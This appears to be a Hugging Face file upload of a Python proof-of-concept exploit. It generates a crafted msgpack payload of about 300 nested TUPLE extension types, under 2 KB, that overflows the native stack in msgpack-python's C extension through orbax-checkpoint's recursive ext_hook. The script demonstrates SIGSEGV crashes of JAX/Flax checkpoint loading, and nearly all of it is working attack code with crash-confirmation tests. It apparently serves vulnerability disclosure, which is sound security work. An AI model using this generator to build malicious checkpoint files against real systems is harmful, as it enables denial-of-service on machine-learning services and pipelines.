Upload poc.py with huggingface_hub

poc.py

@@ -0,0 +1,295 @@
+#!/usr/bin/env python3
+"""
+PoC: Stack Buffer Overflow (SIGSEGV) in msgpack-python C Extension
+via Recursive ext_hook — Affects orbax-checkpoint (JAX/Flax Model Loading)
+
+Vulnerability:
+  msgpack-python's C extension (_cmsgpack) does NOT enforce a recursion depth
+  limit when calling user-provided ext_hook callbacks. When an application uses
+  a recursive ext_hook (as orbax-checkpoint does for nested tuples), a crafted
+  msgpack payload with ~300 nesting levels causes a native stack overflow,
+  crashing the process with SIGSEGV.
+
+  The pure Python fallback is safe (Python's recursion limit catches it),
+  but the C extension — which is the DEFAULT — segfaults.
+
+Impact:
+  - Any JAX/Flax application loading orbax checkpoints is vulnerable
+  - A crafted checkpoint file (< 2 KB) crashes the process with SIGSEGV
+  - This is a Denial of Service from a crafted model file
+  - SIGSEGV means no graceful error handling — the process is killed
+
+Affected:
+  - msgpack-python (PyPI) — all versions with C extension (tested: 1.1.2)
+  - orbax-checkpoint (PyPI) — all versions using msgpack_utils (tested: 0.11.34)
+  - File: orbax/checkpoint/msgpack_utils.py, line 113-116
+  - Function: _msgpack_ext_unpack() — recursive ext_hook for TUPLE type
+
+Root Cause:
+  orbax's _msgpack_ext_unpack (line 113-116) handles TUPLE ExtType by calling
+  msgpack.unpackb(data, ext_hook=_msgpack_ext_unpack) recursively. The msgpack
+  C extension processes this without any depth limit, so ~300 levels of nesting
+  overflow the native call stack → SIGSEGV.
+"""
+
+import struct
+import sys
+import subprocess
+import tempfile
+import os
+
+BANNER = "=" * 70
+
+# orbax TUPLE ExtType code
+TUPLE_EXT_TYPE = 4
+
+
+def build_nested_tuple_msgpack(depth: int = 300) -> bytes:
+    """
+    Build a msgpack payload with deeply nested TUPLE ExtType containers.
+
+    Each level wraps the inner payload in:
+      ext8: 0xc7 <size:1> <type:1> <data>
+    or ext16/ext32 for larger payloads.
+
+    The TUPLE ext_hook in orbax recursively calls msgpack.unpackb on the data,
+    creating depth levels of C call stack frames.
+    """
+    # Leaf: a msgpack fixarray with one fixint element [42]
+    # fixarray(1) = 0x91, fixint(42) = 0x2a
+    data = bytes([0x91, 0x2a])
+
+    for _ in range(depth):
+        inner_len = len(data)
+        if inner_len <= 255:
+            # ext8 format: 0xc7 + size(1 byte) + type(1 byte) + data
+            data = bytes([0xc7, inner_len, TUPLE_EXT_TYPE]) + data
+        elif inner_len <= 65535:
+            # ext16 format: 0xc8 + size(2 bytes BE) + type(1 byte) + data
+            data = bytes([0xc8]) + struct.pack('>H', inner_len) + bytes([TUPLE_EXT_TYPE]) + data
+        else:
+            # ext32 format: 0xc9 + size(4 bytes BE) + type(1 byte) + data
+            data = bytes([0xc9]) + struct.pack('>I', inner_len) + bytes([TUPLE_EXT_TYPE]) + data
+
+    return data
+
+
+def test_segfault():
+    """Test: SIGSEGV from nested TUPLE ExtType via orbax's ext_hook."""
+    print(BANNER)
+    print("TEST: Stack Overflow (SIGSEGV) via Nested TUPLE ExtType")
+    print(BANNER)
+
+    depth = 300
+    payload = build_nested_tuple_msgpack(depth)
+    print(f"[*] Payload size: {len(payload)} bytes ({len(payload)/1024:.1f} KB)")
+    print(f"[*] Nesting depth: {depth}")
+    print(f"[*] TUPLE ExtType code: {TUPLE_EXT_TYPE}")
+
+    # Save payload to file
+    payload_file = tempfile.NamedTemporaryFile(suffix='.msgpack', delete=False)
+    payload_file.write(payload)
+    payload_file.close()
+
+    # Run in subprocess to catch SIGSEGV
+    poc_script = f'''
+import msgpack
+import sys
+
+# Simulate orbax's _msgpack_ext_unpack (line 103-116 of msgpack_utils.py)
+def _msgpack_ext_unpack(code, data):
+    if code == {TUPLE_EXT_TYPE}:  # TUPLE
+        return tuple(msgpack.unpackb(data, raw=False, ext_hook=_msgpack_ext_unpack))
+    return msgpack.ExtType(code, data)
+
+with open("{payload_file.name}", "rb") as f:
+    payload = f.read()
+
+print(f"Payload size: {{len(payload)}} bytes", flush=True)
+print("Unpacking with recursive ext_hook (simulating orbax)...", flush=True)
+result = msgpack.unpackb(payload, raw=False, ext_hook=_msgpack_ext_unpack)
+print(f"Result: {{result}}")
+'''
+
+    poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
+    poc_file.write(poc_script)
+    poc_file.close()
+
+    print(f"\n[*] Running in subprocess (to catch SIGSEGV)...")
+    result = subprocess.run(
+        [sys.executable, poc_file.name],
+        capture_output=True, text=True, timeout=10
+    )
+
+    print(f"[*] Exit code: {result.returncode}")
+    if result.stdout:
+        for line in result.stdout.strip().split('\n'):
+            print(f"    {line}")
+
+    os.unlink(payload_file.name)
+    os.unlink(poc_file.name)
+
+    if result.returncode == -11:  # SIGSEGV
+        print(f"\n[!] VULNERABILITY CONFIRMED — SIGSEGV (Segmentation Fault)")
+        print(f"    A {len(payload)}-byte msgpack payload crashes the process.")
+        print(f"    No graceful error handling — the process is killed by the OS.")
+        return True
+    elif result.returncode < 0:
+        import signal
+        sig = -result.returncode
+        sig_name = signal.Signals(sig).name if sig in signal.Signals._value2member_map_ else f"signal {sig}"
+        print(f"\n[!] VULNERABILITY CONFIRMED — {sig_name}")
+        return True
+    else:
+        print(f"\n[-] No crash (unexpected)")
+        return False
+
+
+def test_orbax_loading():
+    """Test: Crash via actual orbax msgpack_restore."""
+    print(f"\n{BANNER}")
+    print("TEST: Crash via orbax.checkpoint.msgpack_utils.msgpack_restore()")
+    print(BANNER)
+
+    depth = 300
+    payload = build_nested_tuple_msgpack(depth)
+
+    payload_file = tempfile.NamedTemporaryFile(suffix='.msgpack', delete=False)
+    payload_file.write(payload)
+    payload_file.close()
+
+    poc_script = f'''
+import sys
+sys.stdout.write("Importing orbax...\\n")
+sys.stdout.flush()
+from orbax.checkpoint.msgpack_utils import msgpack_restore
+sys.stdout.write("Calling msgpack_restore() on crafted payload...\\n")
+sys.stdout.flush()
+
+with open("{payload_file.name}", "rb") as f:
+    payload = f.read()
+
+result = msgpack_restore(payload)
+sys.stdout.write(f"Result: {{result}}\\n")
+'''
+
+    poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
+    poc_file.write(poc_script)
+    poc_file.close()
+
+    print(f"[*] Calling orbax.checkpoint.msgpack_utils.msgpack_restore()...")
+    result = subprocess.run(
+        [sys.executable, poc_file.name],
+        capture_output=True, text=True, timeout=30
+    )
+
+    print(f"[*] Exit code: {result.returncode}")
+    if result.stdout:
+        for line in result.stdout.strip().split('\n'):
+            print(f"    {line}")
+    if result.stderr:
+        for line in result.stderr.strip().split('\n')[:5]:
+            print(f"    stderr: {line}")
+
+    os.unlink(payload_file.name)
+    os.unlink(poc_file.name)
+
+    if result.returncode == -11:
+        print(f"\n[!] CONFIRMED — orbax.msgpack_restore() crashes with SIGSEGV")
+        return True
+    elif result.returncode < 0:
+        print(f"\n[!] CONFIRMED — orbax.msgpack_restore() crashes (signal {-result.returncode})")
+        return True
+    else:
+        print(f"\n[-] No crash")
+        return False
+
+
+def test_pure_python_safe():
+    """Verify: Pure Python fallback is safe (catches RecursionError)."""
+    print(f"\n{BANNER}")
+    print("TEST: Pure Python fallback handles this safely")
+    print(BANNER)
+
+    depth = 300
+    payload = build_nested_tuple_msgpack(depth)
+
+    poc_script = f'''
+import msgpack
+import msgpack.fallback as fallback
+
+def _msgpack_ext_unpack(code, data):
+    if code == {TUPLE_EXT_TYPE}:
+        return tuple(fallback.unpackb(data, raw=False, ext_hook=_msgpack_ext_unpack))
+    return msgpack.ExtType(code, data)
+
+with open("/dev/stdin", "rb") as f:
+    pass
+
+import io
+payload = {repr(payload)}
+try:
+    result = fallback.unpackb(payload, raw=False, ext_hook=_msgpack_ext_unpack)
+    print(f"Result: {{result}}")
+except RecursionError:
+    print("RecursionError caught — safe!")
+except Exception as e:
+    print(f"Error: {{type(e).__name__}}: {{e}}")
+'''
+
+    poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
+    poc_file.write(poc_script)
+    poc_file.close()
+
+    result = subprocess.run(
+        [sys.executable, poc_file.name],
+        capture_output=True, text=True, timeout=10
+    )
+
+    os.unlink(poc_file.name)
+
+    if "RecursionError caught" in result.stdout:
+        print(f"[*] Pure Python fallback: RecursionError caught safely")
+        print(f"    The C extension is the problem — it bypasses Python's recursion limit")
+        return True
+    else:
+        print(f"    Exit code: {result.returncode}")
+        print(f"    Output: {result.stdout[:200]}")
+        return False
+
+
+if __name__ == "__main__":
+    print(f"Python: {sys.version}")
+
+    import msgpack
+    print(f"msgpack: {'.'.join(map(str, msgpack.version))}")
+    print(f"C extension: {hasattr(msgpack, '_cmsgpack')}")
+
+    try:
+        import orbax.checkpoint
+        print(f"orbax-checkpoint: {orbax.checkpoint.__version__}")
+    except Exception:
+        print("orbax-checkpoint: not installed (PoC still works with plain msgpack)")
+
+    print()
+
+    r1 = test_segfault()
+    r2 = test_orbax_loading()
+    r3 = test_pure_python_safe()
+
+    print(f"\n{BANNER}")
+    print("RESULTS")
+    print(BANNER)
+    print(f"  SIGSEGV (C extension):     {'VULN' if r1 else 'NOT VULN'}")
+    print(f"  orbax.msgpack_restore():   {'VULN' if r2 else 'NOT VULN'}")
+    print(f"  Pure Python (safe):        {'SAFE' if r3 else 'UNKNOWN'}")
+    print()
+    print("Root cause: msgpack-python C extension (_cmsgpack) has no recursion")
+    print("depth limit when calling ext_hook callbacks. orbax-checkpoint uses a")
+    print("recursive ext_hook for TUPLE types. A crafted payload with ~300 nested")
+    print("TUPLE ExtTypes overflows the native stack → SIGSEGV → process crash.")
+    print()
+    print("Affected packages:")
+    print("  - msgpack (PyPI) — C extension has no depth limit")
+    print("  - orbax-checkpoint (PyPI) — recursive ext_hook in msgpack_utils.py")
+    print("  - Any JAX/Flax application loading checkpoints via orbax")